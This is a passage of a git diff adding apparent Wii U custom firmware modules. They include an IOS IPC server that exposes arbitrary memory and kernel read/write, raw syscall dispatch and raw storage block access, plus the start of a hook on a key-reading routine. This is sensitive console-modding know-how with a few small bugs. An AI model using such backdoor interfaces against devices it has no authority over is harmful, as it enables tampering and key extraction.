data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)" + +#--------------------------------------------------------------------------------- +.PHONY: all dirs $(PROJECTNAME) clean + +all: dirs $(PROJECTNAME) + +$(PROJECTNAME): $(OFILES) + @echo "Linking files for $(PROJECTNAME)..." + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(OFILES) + @$(OBJCOPY) -j .text -j .rodata -j .data -j .bss -O binary $(PROJECTNAME).elf $(PROJECTNAME).bin + @xxd -i $(PROJECTNAME).bin | sed "s/unsigned/static const unsigned/g" > $(PROJECTNAME).h + +dirs: + @mkdir -p build + +clean: + @echo "Cleaning up files from $(PROJECTNAME)..." + @rm -f build/*.o build/*.d + @rmdir build 2>/nul; true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME).s $(PROJECTNAME).h + +#--------------------------------------------------------------------------------- + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) \ No newline at end of file diff --git a/source/cfw/ios_mcp/link.ld b/source/cfw/ios_mcp/link.ld new file mode 100644 index 0000000..c8b315a --- /dev/null +++ b/source/cfw/ios_mcp/link.ld @@ -0,0 +1,22 @@ +OUTPUT_ARCH(arm) + +MEMORY +{ + RAMX (rx) : ORIGIN = 0x0510E570, LENGTH = 0x00015BC + RAMRW (rw!i) : ORIGIN = 0x05089780, LENGTH = 0x00001F00 +} + +SECTIONS +{ + .text : { + build/crt0.o(.init); + *(.text); + *(.rodata); + } + + .bss : { + _bss_start = .; + *(.bss); + } + _bss_end = .; +} diff --git a/source/cfw/ios_mcp/source/common.h b/source/cfw/ios_mcp/source/common.h new file mode 100644 index 0000000..f5d1155 --- /dev/null +++ b/source/cfw/ios_mcp/source/common.h @@ -0,0 +1,115 @@ +#pragma once + +#include +#include + +typedef struct __attribute__((packed)) { + uint32_t command; + uint32_t result; + uint32_t fd; + uint32_t flags; + uint32_t client_cpu; + uint32_t client_pid; + uint64_t client_gid; + uint32_t server_handle; + + union { + uint32_t args[5]; + + struct { + char *device; + uint32_t mode; + uint32_t resultfd; + } open; + + struct { + void *data; + uint32_t length; + } read, write; + + struct { + int32_t offset; + int32_t origin; + } seek; + + struct { + uint32_t command; + uint32_t *buffer_in; + uint32_t length_in; + uint32_t *buffer_io; + uint32_t length_io; + } ioctl; + + struct { + uint32_t command; + uint32_t num_in; + uint32_t num_io; + struct _ioctlv *vector; + } ioctlv; + }; + + uint32_t prev_command; + uint32_t prev_fd; + uint32_t virt0; + uint32_t virt1; +} IPCMessage; + +typedef enum FSMode { + FS_MODE_READ_OWNER = 0x400, + FS_MODE_WRITE_OWNER = 0x200, + FS_MODE_EXEC_OWNER = 0x100, + + FS_MODE_READ_GROUP = 0x040, + FS_MODE_WRITE_GROUP = 0x020, + FS_MODE_EXEC_GROUP = 0x010, + + FS_MODE_READ_OTHER = 0x004, + FS_MODE_WRITE_OTHER = 0x002, + FS_MODE_EXEC_OTHER = 0x001, +} FSMode; + +typedef enum FSStatFlags { + FS_STAT_DIRECTORY = 0x80000000, +} FSStatFlags; + +typedef struct __attribute__((__packed__)) { + FSStatFlags flags; + FSMode mode; + uint32_t owner; + uint32_t group; + uint32_t size; + uint32_t allocSize; + uint64_t quotaSize; + uint32_t entryId; + int64_t created; + int64_t modified; + uint8_t unknown[0x30]; +} FSStat; + +typedef struct +{ + FSStat info; + char name[256]; +} FSDirectoryEntry; + +typedef void (*usleep_t)(uint32_t); +typedef void* (*memcpy_t)(void*, const void*, int32_t); + +static usleep_t usleep = (usleep_t)0x050564E4; +static memcpy_t memcpy = (memcpy_t)0x05054E54; + +static inline void* memset(void* dest, int32_t value, int32_t size) { + // todo: Find memset function for speedup or use longer types to do faster copying + for (int32_t i=0; i> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].length = 0x520; + + iovec[1].ptr = data; + iovec[1].length = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].length = 0x293; + + int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].length = 0x520; + + iovec[1].ptr = data; + iovec[1].length = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].length = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} \ No newline at end of file diff --git a/source/cfw/ios_mcp/source/fsa.h b/source/cfw/ios_mcp/source/fsa.h new file mode 100644 index 0000000..54564a0 --- /dev/null +++ b/source/cfw/ios_mcp/source/fsa.h @@ -0,0 +1,48 @@ +#include "common.h" + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; +typedef int8_t s8; +typedef int16_t s16; +typedef int32_t s32; +typedef int64_t s64; +typedef volatile u8 vu8; +typedef volatile u16 vu16; +typedef volatile u32 vu32; +typedef volatile u64 vu64; +typedef volatile s8 vs8; +typedef volatile s16 vs16; +typedef volatile s32 vs32; +typedef volatile s64 vs64; + +int FSA_Open(); + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); +int FSA_Unmount(int fd, char* path, u32 flags); +int FSA_FlushVolume(int fd, char* volume_path); + +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); + +int FSA_MakeDir(int fd, char* path, u32 flags); +int FSA_OpenDir(int fd, char* path, int* outHandle); +int FSA_ReadDir(int fd, int handle, FSDirectoryEntry* out_data); +int FSA_RewindDir(int fd, int handle); +int FSA_CloseDir(int fd, int handle); +int FSA_ChangeDir(int fd, char* path); + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_StatFile(int fd, int handle, FSStat* out_data); +int FSA_CloseFile(int fd, int fileHandle); +int FSA_SetPosFile(int fd, int fileHandle, u32 position); +int FSA_GetStat(int fd, char *path, FSStat* out_data); +int FSA_Remove(int fd, char *path); +int FSA_ChangeMode(int fd, char *path, int mode); + +int FSA_RawOpen(int fd, char* device_path, int* outHandle); +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawClose(int fd, int device_handle); \ No newline at end of file diff --git a/source/cfw/ios_mcp/source/ipc.c b/source/cfw/ios_mcp/source/ipc.c new file mode 100644 index 0000000..7e0f892 --- /dev/null +++ b/source/cfw/ios_mcp/source/ipc.c @@ -0,0 +1,327 @@ +#include "fsa.h" +#include "ipc.h" +#include "svc.h" + +int32_t IPC_ioctl(IPCMessage *message) { + int32_t res = 0; + + switch(message->ioctl.command) { + case IOCTL_MEM_WRITE: { + if (message->ioctl.length_in < 4) return IOS_ERROR_INVALID_SIZE; + else memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); + break; + } + case IOCTL_MEM_READ: { + if (message->ioctl.length_in < 4) return IOS_ERROR_INVALID_SIZE; + else memcpy(message->ioctl.buffer_io, (const void*)message->ioctl.buffer_in[0], message->ioctl.length_io); + break; + } + case IOCTL_SVC: { + if ((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) return IOS_ERROR_INVALID_SIZE; + else { + int32_t svc_id = message->ioctl.buffer_in[0]; + int32_t size_args = message->ioctl.buffer_in[0]; + + uint32_t arguments[8]; + memset(arguments, 0, sizeof(arguments)); + memcpy(arguments, message->ioctl.buffer_in + 1, (size_args < 32) ? size_args : 32); + + message->ioctl.buffer_io[0] = ((int (*const)(uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t, uint32_t))((void*)0x050567EC/*MCP_SVC_BASE*/ + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); + } + break; + } + case IOCTL_MEMCPY: { + if (message->ioctl.length_in < 12) return IOS_ERROR_INVALID_SIZE; + else memcpy((void*)message->ioctl.buffer_in[0], (const void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); + break; + } + case IOCTL_REPEATED_WRITE: { + if (message->ioctl.length_in < 12) return IOS_ERROR_INVALID_SIZE; + else { + uint32_t* dest = (uint32_t*)message->ioctl.buffer_in[0]; + uint32_t* cache_range = (uint32_t*)(message->ioctl.buffer_in[0] & ~0xFF); + uint32_t value = message->ioctl.buffer_in[1]; + uint32_t n = message->ioctl.buffer_in[2]; + + uint32_t old = *dest; + for (uint32_t i=0; iioctl.length_in < 4) || (message->ioctl.length_io < 4)) return IOS_ERROR_INVALID_SIZE; + else { + uint32_t size = message->ioctl.length_io/4; + for (uint32_t i=0; iioctl.buffer_io[i] = svcCustomKernelCommand(KERNEL_READ32, message->ioctl.buffer_in[0] + (i*4)); + } + } + break; + } + case IOCTL_KERN_WRITE32: { + // todo: Implement this in the kernel + if ((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) return IOS_ERROR_INVALID_SIZE; + else { + uint32_t size = message->ioctl.length_io/4; + for (uint32_t i=0; iioctl.buffer_io[i] = svcCustomKernelCommand(KERNEL_WRITE32, message->ioctl.buffer_in[0] + (i*4)); + } + } + break; + } + case IOCTL_FSA_OPEN: { + // points to "/dev/fsa" string in mcp data section + message->ioctl.buffer_io[0] = svcOpen((char*)0x0506963C, 0); + break; + } + case IOCTL_FSA_CLOSE: { + int fd = message->ioctl.buffer_in[0]; + message->ioctl.buffer_io[0] = svcClose(fd); + break; + } + case IOCTL_FSA_MOUNT: { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + uint32_t flags = message->ioctl.buffer_in[3]; + char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; + int arg_string_len = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); + break; + } + case IOCTL_FSA_UNMOUNT: { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + uint32_t flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); + break; + } + case IOCTL_FSA_FLUSHVOLUME: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path); + break; + } + case IOCTL_FSA_GETDEVICEINFO: { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int type = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_OPENDIR: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READDIR: { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (FSDirectoryEntry*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEDIR: { + int fd = message->ioctl.buffer_in[0]; + int handle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); + break; + } + case IOCTL_FSA_MAKEDIR: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + uint32_t flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); + break; + } + case IOCTL_FSA_OPENFILE: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); + break; + } + case IOCTL_FSA_READFILE: { + int fd = message->ioctl.buffer_in[0]; + uint32_t size = message->ioctl.buffer_in[1]; + uint32_t cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + uint32_t flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((uint8_t*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_WRITEFILE: { + int fd = message->ioctl.buffer_in[0]; + uint32_t size = message->ioctl.buffer_in[1]; + uint32_t cnt = message->ioctl.buffer_in[2]; + int fileHandle = message->ioctl.buffer_in[3]; + uint32_t flags = message->ioctl.buffer_in[4]; + + message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((uint8_t*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); + break; + } + case IOCTL_FSA_STATFILE: { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (FSStat*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_CLOSEFILE: { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); + break; + } + case IOCTL_FSA_SETFILEPOS: { + int fd = message->ioctl.buffer_in[0]; + int fileHandle = message->ioctl.buffer_in[1]; + uint32_t position = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); + break; + } + case IOCTL_FSA_GETSTAT: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (FSStat*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_REMOVE: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_Remove(fd, path); + break; + } + case IOCTL_FSA_REWINDDIR: { + int fd = message->ioctl.buffer_in[0]; + int dirFd = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); + break; + } + case IOCTL_FSA_CHDIR: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); + break; + } + case IOCTL_FSA_RAW_OPEN: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); + break; + } + case IOCTL_FSA_RAW_READ: { + int fd = message->ioctl.buffer_in[0]; + uint32_t block_size = message->ioctl.buffer_in[1]; + uint32_t cnt = message->ioctl.buffer_in[2]; + uint64_t sector_offset = ((uint64_t)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((uint8_t*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_WRITE: { + int fd = message->ioctl.buffer_in[0]; + uint32_t block_size = message->ioctl.buffer_in[1]; + uint32_t cnt = message->ioctl.buffer_in[2]; + uint64_t sector_offset = ((uint64_t)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; + int deviceHandle = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((uint8_t*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); + break; + } + case IOCTL_FSA_RAW_CLOSE: { + int fd = message->ioctl.buffer_in[0]; + int deviceHandle = message->ioctl.buffer_in[1]; + + message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); + break; + } + case IOCTL_FSA_CHANGEMODE: { + int fd = message->ioctl.buffer_in[0]; + char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int mode = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); + break; + } + case IOCTL_CHECK_IF_IOSUHAX: { + message->ioctl.buffer_io[0] = IOSUHAX_MAGIC_WORD; + break; + } + default: { + res = IOS_ERROR_INVALID_ARG; + break; + } + } + + return res; +} + +int32_t loopServerThread() { + int32_t res = 0; + + int32_t queueHandle = *(int32_t*)0x5070AEC; + IPCMessage *message; + + bool loopIPCServer = true; + while(loopIPCServer) { + if (svcReceiveMessage(queueHandle, &message, 0) < 0) { + usleep(1000*5); + continue; + } + + switch(message->command) { + case IOS_OPEN: { + res = 0; + break; + } + case IOS_CLOSE: { + res = 0; + loopIPCServer = false; + break; + } + case IOS_IOCTL: { + res = IPC_ioctl(message); + break; + } + default: { + res = IOS_ERROR_UNKNOWN_VALUE; + break; + } + } + svcResourceReply(message, res); + } + + return res; +} diff --git a/source/cfw/ios_mcp/source/ipc.h b/source/cfw/ios_mcp/source/ipc.h new file mode 100644 index 0000000..4ccc0c7 --- /dev/null +++ b/source/cfw/ios_mcp/source/ipc.h @@ -0,0 +1,68 @@ +#include "common.h" + +#define IOSUHAX_MAGIC_WORD 0x4E696365 +#define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 +#define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 +#define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 +#define IOS_ERROR_UNKNOWN 0xFFFFFFF7 +#define IOS_ERROR_NOEXISTS 0xFFFFFFFA + +#define IOS_COMMAND_INVALID 0x00 +#define IOS_OPEN 0x01 +#define IOS_CLOSE 0x02 +#define IOS_READ 0x03 +#define IOS_WRITE 0x04 +#define IOS_SEEK 0x05 +#define IOS_IOCTL 0x06 +#define IOS_IOCTLV 0x07 +#define IOS_REPLY 0x08 +#define IOS_IPC_MSG0 0x09 +#define IOS_IPC_MSG1 0x0A +#define IOS_IPC_MSG2 0x0B +#define IOS_SUSPEND 0x0C +#define IOS_RESUME 0x0D +#define IOS_SVCMSG 0x0E + +#define IOCTL_MEM_WRITE 0x00 +#define IOCTL_MEM_READ 0x01 +#define IOCTL_SVC 0x02 +#define IOCTL_KILL_SERVER 0x03 +#define IOCTL_MEMCPY 0x04 +#define IOCTL_REPEATED_WRITE 0x05 +#define IOCTL_KERN_READ32 0x06 +#define IOCTL_KERN_WRITE32 0x07 + +#define IOCTL_FSA_OPEN 0x40 +#define IOCTL_FSA_CLOSE 0x41 +#define IOCTL_FSA_MOUNT 0x42 +#define IOCTL_FSA_UNMOUNT 0x43 +#define IOCTL_FSA_GETDEVICEINFO 0x44 +#define IOCTL_FSA_OPENDIR 0x45 +#define IOCTL_FSA_READDIR 0x46 +#define IOCTL_FSA_CLOSEDIR 0x47 +#define IOCTL_FSA_MAKEDIR 0x48 +#define IOCTL_FSA_OPENFILE 0x49 +#define IOCTL_FSA_READFILE 0x4A +#define IOCTL_FSA_WRITEFILE 0x4B +#define IOCTL_FSA_STATFILE 0x4C +#define IOCTL_FSA_CLOSEFILE 0x4D +#define IOCTL_FSA_SETFILEPOS 0x4E +#define IOCTL_FSA_GETSTAT 0x4F +#define IOCTL_FSA_REMOVE 0x50 +#define IOCTL_FSA_REWINDDIR 0x51 +#define IOCTL_FSA_CHDIR 0x52 +#define IOCTL_FSA_RENAME 0x53 +#define IOCTL_FSA_RAW_OPEN 0x54 +#define IOCTL_FSA_RAW_READ 0x55 +#define IOCTL_FSA_RAW_WRITE 0x56 +#define IOCTL_FSA_RAW_CLOSE 0x57 +#define IOCTL_FSA_CHANGEMODE 0x58 +#define IOCTL_FSA_FLUSHVOLUME 0x59 + +#define IOCTL_CHECK_IF_IOSUHAX 0x5B + +#define KERNEL_READ32 0x01 +#define KERNEL_WRITE32 0x02 +#define KERNEL_MEMCPY 0x03 + +int32_t loopServerThread(); \ No newline at end of file diff --git a/source/cfw/ios_mcp/source/main.c b/source/cfw/ios_mcp/source/main.c new file mode 100644 index 0000000..7b18362 --- /dev/null +++ b/source/cfw/ios_mcp/source/main.c @@ -0,0 +1,8 @@ +#include "ipc.h" +#include "svc.h" + +static uint8_t threadStack[0x200] __attribute__((aligned(0x20))); + +int32_t mainIPC() { + return loopServerThread(); +} \ No newline at end of file diff --git a/source/cfw/ios_mcp/source/svc.h b/source/cfw/ios_mcp/source/svc.h new file mode 100644 index 0000000..10d788e --- /dev/null +++ b/source/cfw/ios_mcp/source/svc.h @@ -0,0 +1,27 @@ +#include "common.h" + +typedef struct { + void* ptr; + uint32_t length; + uint32_t unknown; +} iovec_s; + +void* svcAlloc(uint32_t heapHandle, uint32_t size); +void* svcAllocAlign(uint32_t heapHandle, uint32_t size, uint32_t alignment); +void svcFree(uint32_t heapHandle, void* ptr); +int32_t svcOpen(char* name, int32_t mode); +int32_t svcClose(int32_t svcHandle); +int32_t svcIoctl(int32_t svcHandle, uint32_t request, void* inputBuffer, uint32_t inputBufferLen, void* outputBuffer, uint32_t outputBufferLen); +int32_t svcIoctlv(int32_t svcHandle, uint32_t request, uint32_t vectorCountIn, uint32_t vectorCountOut, iovec_s* vector); +int32_t svcInvalidateDCache(void* address, uint32_t size); +int32_t svcFlushDCache(void* address, uint32_t size); + +int32_t svcCreateThread(int32_t (*callback)(void* args), void* args, uint32_t* stackTop, uint32_t stackSize, int32_t priority, int32_t detached); +int32_t svcStartThread(int32_t threadHandle); +int32_t svcCreateMessageQueue(uint32_t *ptr, uint32_t numMessages); +int32_t svcDestroyMessageQueue(int32_t queueHandle); +int32_t svcRegisterResourceManager(const char* device, int32_t queueHandle); +int32_t svcReceiveMessage(int32_t queueHandle, IPCMessage** ipcMessageBuffer, uint32_t flags); +int32_t svcResourceReply(IPCMessage* ipcMessage, uint32_t result); +uint32_t svcRead32(uint32_t address); +int32_t svcCustomKernelCommand(uint32_t command, ...); diff --git a/source/cfw/ios_mcp/source/svc.s b/source/cfw/ios_mcp/source/svc.s new file mode 100644 index 0000000..ec6d4d6 --- /dev/null +++ b/source/cfw/ios_mcp/source/svc.s @@ -0,0 +1,111 @@ +.section ".text" +.arm +.align 4 + +.global svcCreateThread +.type svcCreateThread, %function +svcCreateThread: + .word 0xE7F000F0 + bx lr + +.global svcStartThread +.type svcStartThread, %function +svcStartThread: + .word 0xE7F007F0 + bx lr + +.global svcCreateMessageQueue +.type svcCreateMessageQueue, %function +svcCreateMessageQueue: + .word 0xE7F00CF0 + bx lr + +.global svcDestroyMessageQueue +.type svcDestroyMessageQueue, %function +svcDestroyMessageQueue: + .word 0xE7F00DF0 + bx lr + +.global svcReceiveMessage +.type svcReceiveMessage, %function +svcReceiveMessage: + .word 0xE7F010F0 + bx lr + +.global svcAlloc +.type svcAlloc, %function +svcAlloc: + .word 0xE7F027F0 + bx lr + +.global svcAllocAlign +.type svcAllocAlign, %function +svcAllocAlign: + .word 0xE7F028F0 + bx lr + +.global svcFree +.type svcFree, %function +svcFree: + .word 0xE7F029F0 + bx lr + +.global svcRegisterResourceManager +.type svcRegisterResourceManager, %function +svcRegisterResourceManager: + .word 0xE7F02CF0 + bx lr + +.global svcOpen +.type svcOpen, %function +svcOpen: + .word 0xE7F033F0 + bx lr + +.global svcClose +.type svcClose, %function +svcClose: + .word 0xE7F034F0 + bx lr + +.global svcIoctl +.type svcIoctl, %function +svcIoctl: + .word 0xE7F038F0 + bx lr + +.global svcIoctlv +.type svcIoctlv, %function +svcIoctlv: + .word 0xE7F039F0 + bx lr + +.global svcResourceReply +.type svcResourceReply, %function +svcResourceReply: + .word 0xE7F049F0 + bx lr + +.global svcInvalidateDCache +.type svcInvalidateDCache, %function +svcInvalidateDCache: + .word 0xE7F051F0 + bx lr + +.global svcFlushDCache +.type svcFlushDCache, %function +svcFlushDCache: + .word 0xE7F052F0 + bx lr + +.global svcRead32 +.type svcRead32, %function +svcRead32: + .word 0xE7F081F0 + bx lr + +.global svcCustomKernelCommand +.type svcCustomKernelCommand, %function +svcCustomKernelCommand: + .word 0xE7F081F0 + bx lr \ No newline at end of file diff --git a/source/cfw/ios_odm/Makefile b/source/cfw/ios_odm/Makefile new file mode 100644 index 0000000..8b80d0c --- /dev/null +++ b/source/cfw/ios_odm/Makefile @@ -0,0 +1,62 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +BIN2S = $(DEVKITPRO)/tools/bin/bin2s +CFLAGS += -Wall -Wno-unused-variable -Wno-unused-function -mbig-endian -std=gnu99 -march=armv5t -Os +LDFLAGS += -EB -Tlink.ld + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)" + + +#--------------------------------------------------------------------------------- +.PHONY: all dirs $(PROJECTNAME) clean + +all: dirs $(PROJECTNAME) + +$(PROJECTNAME): $(OFILES) + @echo "Linking files for $(PROJECTNAME)..." + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(OFILES) + @$(OBJCOPY) -j .text -j .rodata -j .data -j .bss -O binary $(PROJECTNAME).elf $(PROJECTNAME).bin + @xxd -i $(PROJECTNAME).bin | sed "s/unsigned/static const unsigned/g" > $(PROJECTNAME).h + +dirs: + @mkdir -p build + +clean: + @echo "Cleaning up files from $(PROJECTNAME)..." + @rm -f build/*.o build/*.d + @rmdir build 2>/dev/null || true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME).s $(PROJECTNAME).h + +#--------------------------------------------------------------------------------- + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo $(notdir $<) + @$(bin2o) \ No newline at end of file diff --git a/source/cfw/ios_odm/link.ld b/source/cfw/ios_odm/link.ld new file mode 100644 index 0000000..7c3aeb3 --- /dev/null +++ b/source/cfw/ios_odm/link.ld @@ -0,0 +1,12 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + . = 0x107F81C4; + + .text : ALIGN(0x100) { + build/crt0.o(.init); + *(.text); + *(.rodata); + } +} \ No newline at end of file diff --git a/source/cfw/ios_odm/source/crt0.s b/source/cfw/ios_odm/source/crt0.s new file mode 100644 index 0000000..9ca571a --- /dev/null +++ b/source/cfw/ios_odm/source/crt0.s @@ -0,0 +1,13 @@ +.section ".init" +.arm +.align 4 + +.globl _start + +.extern odmReadKey +.type odmReadKey, %function + +_start: + mov r1, r10 + mov r2, r8 + b odmReadKey diff --git a/source/cfw/ios_odm/source/main.c b/source/cfw/ios_odm/source/main.c new file mode 100644 index 0000000..e2e2749 --- /dev/null +++ b/source/cfw/ios_odm/source/main.c @@ -0,0 +1,21 @@ +#include "main.h" + +int odmReadKey(void *obj, void *key, uint32_t base) { + if (*(volatile int32_t*)(base + 0x409AC) == 0) { + // Create new empty buffer to hold key + uint8_t keyBuffer[0x10]; + 